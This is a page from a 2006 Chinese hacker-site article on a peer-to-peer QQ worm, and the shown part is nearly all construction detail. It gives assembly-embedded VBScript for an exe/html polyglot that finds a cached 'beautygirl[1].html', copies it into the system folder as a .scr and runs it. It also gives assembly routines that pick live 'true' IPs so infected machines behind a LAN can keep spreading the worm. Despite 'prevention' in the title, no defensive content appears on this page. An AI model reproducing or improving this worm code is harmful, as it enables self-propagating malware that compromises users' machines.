黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图
您现在的位置: 黑客风云 >> 黑客文章 >> 网管频道 >> 安全应用 >> 文章正文
[推荐]基于P2P思想的QQ蠕虫的原理与防治
      ★★★★
基于P2P思想的QQ蠕虫的原理与防治
文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2006-6-1

  把exe和html硬编码到一个文件,就相当于将exe文件指针移动到末尾,然后将html文件写到exe之后。这样,当文件扩展名是exe时,就执行exe(因为文件确实是PE结构),扩展名是html时,就当作html解释,此时exe内容就是乱码,显示在ie窗口之中。如下:

        db  '<HTML><HEAD><TITLE>hi</TITLE>'

        db  '<SCRIPT LANGUAGE="VBScript">'

        db  '<!--',0dh,0ah

        db  'Set fso = CreateObject("Scripting.FileSystemObject")',0dh,0ah

        db  'sf=fso.GetSpecialFolder(1)',0dh,0ah

        db  'sf=sf & "\PurpleMood.scr"',0dh,0ah

        db  'tif=fso.GetSpecialFolder(2)',0dh,0ah

        db  'tif=Left(tif , Len(tif)-4)',0dh,0ah

        db  'tif=tif & "Temporary Internet Files\Content.IE5"',0dh,0ah

        db  'Set tif = FSO.GetFolder(tif)',0dh,0ah

        db  'GenerateAllFolderInformation(tif)',0dh,0ah

        db  'Set WshShell = CreateObject("WScript.Shell")',0dh,0ah

        db  'WshShell.Exec(sf)',0dh,0ah

        db  'Function GenerateFolderInformation(Folder)',0dh,0ah

        db  'Set Files = Folder.Files',0dh,0ah

        db  'For Each File In Files',0dh,0ah

        db  'if StrComp("beautygirl[1].html",File.Name,1) = 0 Then',0dh,0ah

        db  'fso.CopyFile File.path,sf',0dh,0ah

        db  'End if',0dh,0ah

        db  'Next',0dh,0ah

        db  'End Function',0dh,0ah

        db  'Function GenerateAllFolderInformation(Folder)',0dh,0ah      

        db  'Set SubFolders = Folder.SubFolders',0dh,0ah

        db  'For Each SubFolder In SubFolders',0dh,0ah

        db  'GenerateFolderInformation(SubFolder)',0dh,0ah

        db  'Next',0dh,0ah

        db  'End Function',0dh,0ah

        db  '-->'

        db  '</SCRIPT></HEAD><BODY>Thank you for test it!</BODY></HTML>'

   容易看出,html代码只是exe中的一段数据。 exe运行后,创建http服务和监视QQ,继续传播。至此,一个完整的QQ蠕虫就完成了。



三.局限性与解决方案

如果目标机器禁止了vbs的运行,同样无法传播。但是,单纯以vbs为传播手段的病毒都可以大行其道,它也可以。    

基于P2P思想,虽然不受固定服务器的限制。但是在某些情况下无法传播。比如,被感染的机器在内网中,尽管它可以被感染,但无法感染其他机器。因为

其他机器找不到它的ip.它无法作为服务器。

解决方法如下:

1. 程序体内保存一块空间,是4的倍数(in_addr的大小),用来保存真正的IP.

2. 在一台机器获得控制权后,得到本机IP(gethostname, gethostbyname),分析是否为内网

是则调用SelectTrueIP,从iplist中选择一个真正的ip,否则调用UpdateIPList,更新iplist,因为iplist可能还有未填充项或者过时的ip.验证是否过时向它发出连接即可。

3. 这样,当机器处于内网时,会向好友发出http://trueip:80的消息,对方则向trueip发出连接而不是内网的机器,和DRDos相似。代码如下:



IsActiveIP       PROC   IP     : DWORD

    

        LOCAL    VSocket    : DWORD

      

        push     ecx

        push     IPPROTO_TCP

        push     SOCK_STREAM

        push     AF_INET

        call     socket

        mov      VSocket,eax

        

        push     IP

        pop      TestIP

        

    push     sizeof(sockaddr)  ; Size of connect strucure=16

        call     IAI1              ; Connect structure

    dw       AF_INET           ; Family

  db       0,80              ; Port number,avoid htons :)

TestIP  dd       0                 ; in_addr of server

    db       8 dup(0)          ; Unused

IAI1:

  push     VSocket

    call     connect           ;ret 0 if sucess

       push     eax              

        push     VSocket

    call     closesocket

       pop      eax

        pop      ecx

    ret      4

IsActiveIP       ENDP





SelectTrueIP:  

        push    64

        pop     ecx

        mov     esi , offset TrueIPList

STI1:   lodsd              

        push    eax

        call    IsActiveIP              ;ret 0 if sucess

      

        .if     eax   == 0                        

                sub   esi , 4

                lodsd    

                jmp   STIExit

        .else    

                loop  STI1

        .endif        

        xor     eax , eax

STIExit:            

        ret

              

UpdateTrueIP    PROC   TrueIP : DWORD

                        

        push    64

        pop     ecx

        mov     esi , offset TrueIPList

UT1:    lodsd

        .if     eax == 0

                push  TrueIP

                pop   [esi-4]

                jmp   UTExit

        .else

                loop  UT1                

        .endif

        

        push    64

        pop     ecx

        mov     esi , offset TrueIPList

UT2:    

        lodsd

        push    eax

        call    IsActiveIP            ;ret 0 if sucess

        

        .if     eax   != 0          

                push  TrueIP

                pop   [esi-4]        

                jmp   UTExit

        .else        

                loop  UT1                

        .endif

UTExit:        

        mov     eax , TrueIP

        ret     4            

UpdateTrueIP    ENDP

TrueIPList      db   256  dup (0)                

上一页  [1] [2] [3] [4] [5] 下一页  

文章录入:cainiaowang    责任编辑:sygbox 
【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
VIP 专 区
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886